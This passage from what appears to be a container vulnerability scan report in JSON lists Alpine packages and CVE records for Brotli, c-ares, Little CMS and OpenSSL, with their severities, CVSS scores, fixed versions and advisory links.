"pkgconf@2.3.0-r0", "zlib@1.3.1-r2" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:71a2d4a3b94d7966fa5643547377a34cbc668f59", "InstalledFiles": [ "usr/include/zconf.h", "usr/include/zlib.h", "usr/lib/libz.so", "usr/lib/pkgconfig/zlib.pc" ], "AnalyzedBy": "apk" }, { "ID": "zstd-libs@1.5.6-r2", "Name": "zstd-libs", "Identifier": { "PURL": "pkg:apk/alpine/zstd-libs@1.5.6-r2?arch=x86_64\u0026distro=3.21.5", "UID": "12ea9cf6ad7ac333" }, "Version": "1.5.6-r2", "Arch": "x86_64", "SrcName": "zstd", "SrcVersion": "1.5.6-r2", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:974f4e438a513770c78e286dae55203fc38604db", "InstalledFiles": [ "usr/lib/libzstd.so.1", "usr/lib/libzstd.so.1.5.6" ], "AnalyzedBy": "apk" } ], "Vulnerabilities": [ { "VulnerabilityID": "CVE-2026-111497", "PkgID": "brotli@1.1.0-r2", "PkgName": "brotli", "PkgIdentifier": { "PURL": "pkg:apk/alpine/brotli@1.1.0-r2?arch=x86_64\u0026distro=3.21.5", "UID": "a308fcb77ad6b9b1" }, "InstalledVersion": "1.1.0-r2", "FixedVersion": "1.1.1-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-111497", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:05c39efd73e384e5f28afb9c7617940bc0c70adbed851a934789e1b30c6a35d0", "Title": "brotli: Out-of-Bounds Write in Google Brotli Decoder", "Description": "A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.\n\n\n\n\n\nUsers need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.", "Severity": "CRITICAL", "CweIDs": [ "CWE-252", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "bitnami": 4, "ghsa": 4, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V3Score": 9.8, "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/23/25", "http://www.openwall.com/lists/oss-security/2026/10/24/6", "http://www.openwall.com/lists/oss-security/2026/10/26/12", "http://www.openwall.com/lists/oss-security/2026/10/26/13", "http://www.openwall.com/lists/oss-security/2026/10/26/16", "http://www.openwall.com/lists/oss-security/2026/11/03/2", "https://access.redhat.com/errata/RHSA-2026:90495", "https://access.redhat.com/errata/RHSA-2026:92492", "https://access.redhat.com/security/cve/CVE-2026-111497", "https://advisory.echohq.com/cve/CVE-2026-111497", "https://broccoli2shell.com", "https://bugzilla.redhat.com/2558973", "https://bugzilla.redhat.com/2562054", "https://bugzilla.redhat.com/show_bug.cgi?id=2558973", "https://cert-portal.siemens.com/productcert/html/ssa-045512.html", "https://cert-portal.siemens.com/productcert/html/ssa-443410.html", "https://cert-portal.siemens.com/productcert/html/ssa-898633.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111497", "https://devblogs.microsoft.com/dotnet/dotnet-october-2026-oob-security-updates", "https://ellio.tech/en/blog/node2shell-cve-2026-111497-rce-on-stock-nodejs-builds", "https://ellio.tech/en/blog/node2shell-cve-2026-111497-rce-on-stock-nodejs-builds/", "https://errata.almalinux.org/9/ALSA-2026-92492.html", "https://errata.rockylinux.org/RLSA-2026:90495", "https://github.com/advisories/GHSA-9v8h-qqgm-4m35", "https://github.com/andybalholm/brotli/releases/tag/v1.2.7", "https://github.com/dotnet/announcements/issues/494", "https://github.com/google/brotli", "https://github.com/google/brotli/commit/0ed4268a4401abcb4472096340477cf4af7d1a2b", "https://github.com/google/brotli/commit/50a9b70a4d5e1443fc40927952276b68fffa83a0", "https://github.com/google/brotli/commit/b418fa81c48262a86a95332b0bc6d62c30aa78b6", "https://github.com/google/brotli/commit/da9806362874b9bd4b552a3af360b5d6347beb12", "https://github.com/google/brotli/releases/tag/v1.0.10", "https://github.com/google/brotli/releases/tag/v1.1.1", "https://github.com/google/brotli/releases/tag/v1.2.1", "https://github.com/pypa/advisory-database/tree/main/vulns/brotli/PYSEC-2026-4322.yaml", "https://github.com/pypa/advisory-database/tree/main/vulns/brotlicffi/PYSEC-2026-4323.yaml", "https://linux.oracle.com/cve/CVE-2026-111497.html", "https://linux.oracle.com/errata/ELSA-2026-92492.html", "https://lists.debian.org/debian-lts-announce/2026/10/msg00049.html", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114148", "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases", "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high", "https://nvd.nist.gov/vuln/detail/CVE-2026-111497", "https://opensourcemalware.com/blog/node2shell-affects-python", "https://patchtheplanet.org/brotli", "https://pypi.org/project/Brotli", "https://pypi.org/project/brotlicffi", "https://ubuntu.com/security/notices/USN-8956-1", "https://ubuntu.com/security/notices/USN-8956-2", "https://ubuntu.com/security/notices/USN-8958-1", "https://www.aikido.dev/blog/node2shell-nodejs-brotli-rce-cve-2026-111497", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-111497", "https://www.cve.org/CVERecord?id=CVE-2026-111497" ], "PublishedDate": "2026-10-22T14:17:37.19Z", "LastModifiedDate": "2026-11-06T16:17:37.393Z" }, { "VulnerabilityID": "CVE-2026-111497", "PkgID": "brotli-dev@1.1.0-r2", "PkgName": "brotli-dev", "PkgIdentifier": { "PURL": "pkg:apk/alpine/brotli-dev@1.1.0-r2?arch=x86_64\u0026distro=3.21.5", "UID": "c0f921f2ffdde29a" }, "InstalledVersion": "1.1.0-r2", "FixedVersion": "1.1.1-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-111497", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:8762177c14abe4cf529f35e17c47e03765a1fe97c25935b4e53ba9d6401df234", "Title": "brotli: Out-of-Bounds Write in Google Brotli Decoder", "Description": "A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.\n\n\n\n\n\nUsers need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.", "Severity": "CRITICAL", "CweIDs": [ "CWE-252", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "bitnami": 4, "ghsa": 4, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V3Score": 9.8, "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/23/25", "http://www.openwall.com/lists/oss-security/2026/10/24/6", "http://www.openwall.com/lists/oss-security/2026/10/26/12", "http://www.openwall.com/lists/oss-security/2026/10/26/13", "http://www.openwall.com/lists/oss-security/2026/10/26/16", "http://www.openwall.com/lists/oss-security/2026/11/03/2", "https://access.redhat.com/errata/RHSA-2026:90495", "https://access.redhat.com/errata/RHSA-2026:92492", "https://access.redhat.com/security/cve/CVE-2026-111497", "https://advisory.echohq.com/cve/CVE-2026-111497", "https://broccoli2shell.com", "https://bugzilla.redhat.com/2558973", "https://bugzilla.redhat.com/2562054", "https://bugzilla.redhat.com/show_bug.cgi?id=2558973", "https://cert-portal.siemens.com/productcert/html/ssa-045512.html", "https://cert-portal.siemens.com/productcert/html/ssa-443410.html", "https://cert-portal.siemens.com/productcert/html/ssa-898633.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111497", "https://devblogs.microsoft.com/dotnet/dotnet-october-2026-oob-security-updates", "https://ellio.tech/en/blog/node2shell-cve-2026-111497-rce-on-stock-nodejs-builds", "https://ellio.tech/en/blog/node2shell-cve-2026-111497-rce-on-stock-nodejs-builds/", "https://errata.almalinux.org/9/ALSA-2026-92492.html", "https://errata.rockylinux.org/RLSA-2026:90495", "https://github.com/advisories/GHSA-9v8h-qqgm-4m35", "https://github.com/andybalholm/brotli/releases/tag/v1.2.7", "https://github.com/dotnet/announcements/issues/494", "https://github.com/google/brotli", "https://github.com/google/brotli/commit/0ed4268a4401abcb4472096340477cf4af7d1a2b", "https://github.com/google/brotli/commit/50a9b70a4d5e1443fc40927952276b68fffa83a0", "https://github.com/google/brotli/commit/b418fa81c48262a86a95332b0bc6d62c30aa78b6", "https://github.com/google/brotli/commit/da9806362874b9bd4b552a3af360b5d6347beb12", "https://github.com/google/brotli/releases/tag/v1.0.10", "https://github.com/google/brotli/releases/tag/v1.1.1", "https://github.com/google/brotli/releases/tag/v1.2.1", "https://github.com/pypa/advisory-database/tree/main/vulns/brotli/PYSEC-2026-4322.yaml", "https://github.com/pypa/advisory-database/tree/main/vulns/brotlicffi/PYSEC-2026-4323.yaml", "https://linux.oracle.com/cve/CVE-2026-111497.html", "https://linux.oracle.com/errata/ELSA-2026-92492.html", "https://lists.debian.org/debian-lts-announce/2026/10/msg00049.html", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114148", "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases", "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high", "https://nvd.nist.gov/vuln/detail/CVE-2026-111497", "https://opensourcemalware.com/blog/node2shell-affects-python", "https://patchtheplanet.org/brotli", "https://pypi.org/project/Brotli", "https://pypi.org/project/brotlicffi", "https://ubuntu.com/security/notices/USN-8956-1", "https://ubuntu.com/security/notices/USN-8956-2", "https://ubuntu.com/security/notices/USN-8958-1", "https://www.aikido.dev/blog/node2shell-nodejs-brotli-rce-cve-2026-111497", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-111497", "https://www.cve.org/CVERecord?id=CVE-2026-111497" ], "PublishedDate": "2026-10-22T14:17:37.19Z", "LastModifiedDate": "2026-11-06T16:17:37.393Z" }, { "VulnerabilityID": "CVE-2026-111497", "PkgID": "brotli-libs@1.1.0-r2", "PkgName": "brotli-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/brotli-libs@1.1.0-r2?arch=x86_64\u0026distro=3.21.5", "UID": "cc9451d88db1a57f" }, "InstalledVersion": "1.1.0-r2", "FixedVersion": "1.1.1-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-111497", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:ae7e27d70a767c29039fa589281399cf474ed1cba578088958df91fef07e46ac", "Title": "brotli: Out-of-Bounds Write in Google Brotli Decoder", "Description": "A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.\n\n\n\n\n\nUsers need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.", "Severity": "CRITICAL", "CweIDs": [ "CWE-252", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "bitnami": 4, "ghsa": 4, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V3Score": 9.8, "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/23/25", "http://www.openwall.com/lists/oss-security/2026/10/24/6", "http://www.openwall.com/lists/oss-security/2026/10/26/12", "http://www.openwall.com/lists/oss-security/2026/10/26/13", "http://www.openwall.com/lists/oss-security/2026/10/26/16", "http://www.openwall.com/lists/oss-security/2026/11/03/2", "https://access.redhat.com/errata/RHSA-2026:90495", "https://access.redhat.com/errata/RHSA-2026:92492", "https://access.redhat.com/security/cve/CVE-2026-111497", "https://advisory.echohq.com/cve/CVE-2026-111497", "https://broccoli2shell.com", "https://bugzilla.redhat.com/2558973", "https://bugzilla.redhat.com/2562054", "https://bugzilla.redhat.com/show_bug.cgi?id=2558973", "https://cert-portal.siemens.com/productcert/html/ssa-045512.html", "https://cert-portal.siemens.com/productcert/html/ssa-443410.html", "https://cert-portal.siemens.com/productcert/html/ssa-898633.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111497", "https://devblogs.microsoft.com/dotnet/dotnet-october-2026-oob-security-updates", "https://ellio.tech/en/blog/node2shell-cve-2026-111497-rce-on-stock-nodejs-builds", "https://ellio.tech/en/blog/node2shell-cve-2026-111497-rce-on-stock-nodejs-builds/", "https://errata.almalinux.org/9/ALSA-2026-92492.html", "https://errata.rockylinux.org/RLSA-2026:90495", "https://github.com/advisories/GHSA-9v8h-qqgm-4m35", "https://github.com/andybalholm/brotli/releases/tag/v1.2.7", "https://github.com/dotnet/announcements/issues/494", "https://github.com/google/brotli", "https://github.com/google/brotli/commit/0ed4268a4401abcb4472096340477cf4af7d1a2b", "https://github.com/google/brotli/commit/50a9b70a4d5e1443fc40927952276b68fffa83a0", "https://github.com/google/brotli/commit/b418fa81c48262a86a95332b0bc6d62c30aa78b6", "https://github.com/google/brotli/commit/da9806362874b9bd4b552a3af360b5d6347beb12", "https://github.com/google/brotli/releases/tag/v1.0.10", "https://github.com/google/brotli/releases/tag/v1.1.1", "https://github.com/google/brotli/releases/tag/v1.2.1", "https://github.com/pypa/advisory-database/tree/main/vulns/brotli/PYSEC-2026-4322.yaml", "https://github.com/pypa/advisory-database/tree/main/vulns/brotlicffi/PYSEC-2026-4323.yaml", "https://linux.oracle.com/cve/CVE-2026-111497.html", "https://linux.oracle.com/errata/ELSA-2026-92492.html", "https://lists.debian.org/debian-lts-announce/2026/10/msg00049.html", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114148", "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases", "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high", "https://nvd.nist.gov/vuln/detail/CVE-2026-111497", "https://opensourcemalware.com/blog/node2shell-affects-python", "https://patchtheplanet.org/brotli", "https://pypi.org/project/Brotli", "https://pypi.org/project/brotlicffi", "https://ubuntu.com/security/notices/USN-8956-1", "https://ubuntu.com/security/notices/USN-8956-2", "https://ubuntu.com/security/notices/USN-8958-1", "https://www.aikido.dev/blog/node2shell-nodejs-brotli-rce-cve-2026-111497", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-111497", "https://www.cve.org/CVERecord?id=CVE-2026-111497" ], "PublishedDate": "2026-10-22T14:17:37.19Z", "LastModifiedDate": "2026-11-06T16:17:37.393Z" }, { "VulnerabilityID": "CVE-2026-33630", "PkgID": "c-ares@1.34.6-r0", "PkgName": "c-ares", "PkgIdentifier": { "PURL": "pkg:apk/alpine/c-ares@1.34.6-r0?arch=x86_64\u0026distro=3.21.5", "UID": "f32136505f2b2377" }, "InstalledVersion": "1.34.6-r0", "FixedVersion": "1.34.8-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33630", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:d6bef6a66afc8c350ad94768a8fb8c95389dd056117630603960a96c779e3e4e", "Title": "c-ares: c-ares: Use-after-free / double-free in query-completion handling", "Description": "c-ares is an asynchronous resolver library. From ver 1.32.3 until 1.34.7, a use-after-free / double-free in c-ares' query-completion handling. The same flaw — a query's callback being invoked while the query is still linked in the channel's internal lookup structures — is present at multiple points in the resend/finish path (timeout handling, response handling, and query dispatch). If the query, or for ares_getaddrinfo() the owning host_query, is freed as a side effect of that callback, it is then accessed and/or freed a second time. This vulnerability is fixed in ver 1.34.7.", "Severity": "HIGH", "CweIDs": [ "CWE-415", "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:42096", "https://access.redhat.com/security/cve/CVE-2026-33630", "https://bugzilla.redhat.com/2497686", "https://bugzilla.redhat.com/show_bug.cgi?id=2497686", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33630", "https://errata.almalinux.org/10/ALSA-2026-42096.html", "https://errata.rockylinux.org/RLSA-2026:42096", "https://github.com/c-ares/c-ares/commit/1fa3b86a0b8d18fe7b60f3228a01d770feb026bc", "https://github.com/c-ares/c-ares/commit/d823199b688052dcdc1646f2ab4cb8c16b1c644a", "https://github.com/c-ares/c-ares/pull/1237", "https://github.com/c-ares/c-ares/releases/tag/v1.34.7", "https://github.com/c-ares/c-ares/security/advisories/GHSA-6wfj-rwm7-3542", "https://linux.oracle.com/cve/CVE-2026-33630.html", "https://linux.oracle.com/errata/ELSA-2026-42096.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33630", "https://ubuntu.com/security/notices/USN-8844-1", "https://www.cve.org/CVERecord?id=CVE-2026-33630", "https://www.openwall.com/lists/oss-security/2026/07/06/8" ], "PublishedDate": "2026-09-03T19:17:27.42Z", "LastModifiedDate": "2026-09-09T21:09:13.08Z" }, { "VulnerabilityID": "CVE-2026-41254", "PkgID": "lcms2@2.16-r0", "PkgName": "lcms2", "PkgIdentifier": { "PURL": "pkg:apk/alpine/lcms2@2.16-r0?arch=x86_64\u0026distro=3.21.5", "UID": "cba203d6d5c7ba7c" }, "InstalledVersion": "2.16-r0", "FixedVersion": "2.19-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-41254", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:cec581749485a4fccaabdb7e1fee52caff13c3a9936d37b5bf1a2566989c0363", "Title": "Little CMS: lcms2: mm2/Little-CMS: Little CMS: Information disclosure or denial of service via integer overflow in CubeSize", "Description": "Little CMS (lcms2) through 2.18 has an integer overflow in CubeSize in cmslut.c because the overflow check is performed after the multiplication.", "Severity": "HIGH", "CweIDs": [ "CWE-696", "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "bitnami": 3, "julia": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "V3Score": 6.1 } }, "References": [ "https://abhinavagarwal07.github.io/posts/lcms2-cubesize-overflow/", "https://access.redhat.com/errata/RHSA-2026:42899", "https://access.redhat.com/security/cve/CVE-2026-41254", "https://bugzilla.redhat.com/2459420", "https://bugzilla.redhat.com/2502751", "https://bugzilla.redhat.com/2502782", "https://bugzilla.redhat.com/2502783", "https://bugzilla.redhat.com/2502784", "https://bugzilla.redhat.com/2502791", "https://bugzilla.redhat.com/2502792", "https://bugzilla.redhat.com/2502793", "https://bugzilla.redhat.com/2503636", "https://bugzilla.redhat.com/show_bug.cgi?id=2459420", "https://bugzilla.redhat.com/show_bug.cgi?id=2502751", "https://bugzilla.redhat.com/show_bug.cgi?id=2502782", "https://bugzilla.redhat.com/show_bug.cgi?id=2502783", "https://bugzilla.redhat.com/show_bug.cgi?id=2502784", "https://bugzilla.redhat.com/show_bug.cgi?id=2502791", "https://bugzilla.redhat.com/show_bug.cgi?id=2502792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502793", "https://bugzilla.redhat.com/show_bug.cgi?id=2503636", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-41254", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46968", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-47010", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-47021", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-47027", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-47059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-47063", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-60147", "https://errata.almalinux.org/9/ALSA-2026-42899.html", "https://errata.rockylinux.org/RLSA-2026:42899", "https://github.com/mm2/Little-CMS/commit/da6110b1d14abc394633a388209abd5ebedd7ab0", "https://github.com/mm2/Little-CMS/commit/e0641b1828d0a1af5ecb1b11fe22f24fceefd4bc", "https://github.com/mm2/Little-CMS/commit/e0641b1828d0a1af5ecb1b11fe22f24fceefd4bc#commitcomment-183284136", "https://github.com/mm2/Little-CMS/security/advisories/GHSA-4xp6-rcgg-m9qq", "https://linux.oracle.com/cve/CVE-2026-41254.html", "https://linux.oracle.com/errata/ELSA-2026-42899.html", "https://lists.debian.org/debian-lts-announce/2026/05/msg00014.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-41254", "https://openjdk.org/groups/vulnerability/advisories/2026-07-21", "https://ubuntu.com/security/notices/USN-8209-1", "https://ubuntu.com/security/notices/USN-8209-2", "https://www.cve.org/CVERecord?id=CVE-2026-41254", "https://www.openwall.com/lists/oss-security/2026/04/17/16" ], "PublishedDate": "2026-04-18T07:16:10.807Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-31789", "PkgID": "libcrypto3@3.3.5-r0", "PkgName": "libcrypto3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcrypto3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "15bbec8716141e63" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.7-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31789", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:314d99536c91b9cef6368df5384557804f9d38fd733249cf69e24093decf679b", "Title": "openssl: OpenSSL: Heap buffer overflow on 32-bit systems from large X.509 certificate processing", "Description": "Issue summary: Converting an excessively large OCTET STRING value to\na hexadecimal string leads to a heap buffer overflow on 32 bit platforms.\n\nImpact summary: A heap buffer overflow may lead to a crash or possibly\nan attacker controlled code execution or other undefined behavior.\n\nIf an attacker can supply a crafted X.509 certificate with an excessively\nlarge OCTET STRING value in extensions such as the Subject Key Identifier\n(SKID) or Authority Key Identifier (AKID) which are being converted to hex,\nthe size of the buffer needed for the result is calculated as multiplication\nof the input length by 3. On 32 bit platforms, this multiplication may overflow\nresulting in the allocation of a smaller buffer and a heap buffer overflow.\n\nApplications and services that print or log contents of untrusted X.509\ncertificates are vulnerable to this issue. As the certificates would have\nto have sizes of over 1 Gigabyte, printing or logging such certificates\nis a fairly unlikely operation and only 32 bit platforms are affected,\nthis issue was assigned Low severity.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "CRITICAL", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "julia": 4, "nvd": 4, "photon": 4, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:H", "V3Score": 5.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31789", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://github.com/advisories/GHSA-j79m-9jxq-788r", "https://github.com/openssl/openssl/commit/364f095b80601db632b0def6a33316967f863bde", "https://github.com/openssl/openssl/commit/7a9087efd769f362ad9c0e30c7baaa6bbfa65ecf", "https://github.com/openssl/openssl/commit/945b935ac66cc7f1a41f1b849c7c25adb5351f49", "https://github.com/openssl/openssl/commit/a24216018e1ede8ff01a4ff5afff7dfbd443e2f9", "https://github.com/openssl/openssl/commit/a91e537d16d74050dbde50bb0dfb1fe9930f0521", "https://nvd.nist.gov/vuln/detail/CVE-2026-31789", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://www.cve.org/CVERecord?id=CVE-2026-31789", 